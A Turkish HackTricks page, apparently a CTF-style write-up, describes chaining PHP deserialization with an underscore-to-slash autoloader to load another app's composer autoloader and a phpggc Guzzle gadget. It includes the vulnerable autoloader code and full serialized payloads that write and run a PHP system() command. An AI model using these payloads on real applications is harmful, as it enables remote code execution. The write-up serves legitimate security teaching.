PHP - Deserialization + Autoload Classes

Support HackTricks

Öncelikle, Autoloading Classes nedir kontrol etmelisiniz.

PHP deserialization + spl_autoload_register + LFI/Gadget

Bir web uygulamasında PHP deserialization bulduğumuz bir durumdayız ve phpggc içinde gadget'lara karşı hiçbir kütüphane zayıf değil. Ancak, aynı konteynerde zayıf kütüphanelere sahip farklı bir composer web uygulaması vardı. Bu nedenle, hedef diğer web uygulamasının composer yükleyicisini yüklemek ve bunu deserialization'a karşı zayıf olan web uygulamasından bir gadget ile o kütüphaneyi istismar etmek için kullanmaktı.

Adımlar:

  • Bir deserialization buldunuz ve mevcut uygulama kodunda hiçbir gadget yok

  • Aşağıdaki gibi bir spl_autoload_register fonksiyonunu kullanarak herhangi bir yerel .php uzantılı dosyayı yükleyebilirsiniz

  • Bunun için, sınıf adının $name içinde olacağı bir deserialization kullanıyorsunuz. Serileştirilmiş bir nesnede sınıf adında "/" veya "." kullanamazsınız, ancak kod alt çizgileri ("_") eğik çizgilerle ("/") değiştiriyor. Yani tmp_passwd gibi bir sınıf adı /tmp/passwd.php'ye dönüştürülecek ve kod bunu yüklemeye çalışacak. Bir gadget örneği şöyle olacaktır: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Eğer bir dosya yükleme alanınız varsa ve .php uzantılı bir dosya yükleyebiliyorsanız, bu işlevselliği doğrudan kötüye kullanabilir ve zaten RCE elde edebilirsiniz.

Benim durumumda, böyle bir şeyim yoktu, ama aynı konteynerin içinde phpggc gadget'ına karşı savunmasız bir kütüphane olan başka bir composer web sayfası vardı.

  • Bu diğer kütüphaneyi yüklemek için, önce o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekiyor (çünkü mevcut uygulamanın yükleyicisi diğerinin kütüphanelerine erişmeyecek). Uygulamanın yolunu bilerek, bunu çok kolay bir şekilde elde edebilirsiniz: O:28:"www_frontend_vendor_autoload":0:{} (Benim durumumda, composer yükleyicisi /www/frontend/vendor/autoload.php içindeydi)

  • Şimdi, diğer uygulamanın composer yükleyicisini yükleyebilirsiniz, bu yüzden kullanmak için phpgcc payload'unu oluşturma zamanı. Benim durumumda, Guzzle/FW1 kullandım, bu da dosya sisteminin içine herhangi bir dosya yazmamı sağladı.

  • NOT: Oluşturulan gadget çalışmıyordu, çalışması için o payload'u chain.php dosyasında değiştirdim ve sınıfların tüm niteliklerini özelden genel olarak ayarladım. Aksi takdirde, dizilimi çözülmüş dizeden sonra, oluşturulan nesnelerin niteliklerinin hiçbir değeri yoktu.

  • Artık diğer uygulamanın composer yükleyicisini yükleme yoluna sahibiz ve çalışan bir phpggc payload'u var, ama gadget kullanıldığında yükleyicinin yüklenmesi için BUNU AYNI İSTEĞİN İÇİNDE yapmamız gerekiyor. Bunun için, her iki nesneyle birlikte bir serileştirilmiş dizi gönderdim:

  • Önce yükleyicinin yüklendiğini ve ardından payload'unu görebilirsiniz

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Artık bir dosya oluşturup yazabiliriz, ancak kullanıcı web sunucusundaki herhangi bir klasöre yazamaz. Yani, yüklemede görebileceğiniz gibi, PHP system çağrısı ile bazı base64 içeriği /tmp/a.php içinde oluşturulmuştur. Ardından, oluşturulan /tmp/a.php dosyasını yüklemek için diğer web uygulamasının composer yükleyicisini yüklemek üzere kullandığımız ilk tür yüklemeyi yeniden kullanabiliriz. Bunu deserialization gadget'ına ekleyin:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Yükün Özeti

  • Aynı konteynerdeki farklı bir web uygulamasının composer autoload'unu yükle

  • Başka bir web uygulamasından bir kütüphaneyi kötüye kullanmak için bir phpggc gadget'ı yükle (deserialization'a karşı savunmasız olan ilk web uygulamasında herhangi bir gadget yoktu)

  • Gadget, /tmp/a.php dosyasında kötü niyetli komutlarla birlikte PHP yükü içeren bir dosya oluşturacak (web uygulaması kullanıcısı, herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)

  • Yükümüzün son kısmı, oluşturulan php dosyasını yükleyecek ve komutları çalıştıracak

Bu deserialization'ı iki kez çağırmam gerekti. Testlerimde, ilk seferde /tmp/a.php dosyası oluşturuldu ama yüklenmedi, ikinci seferde ise doğru bir şekilde yüklendi.

Support HackTricks

Last updated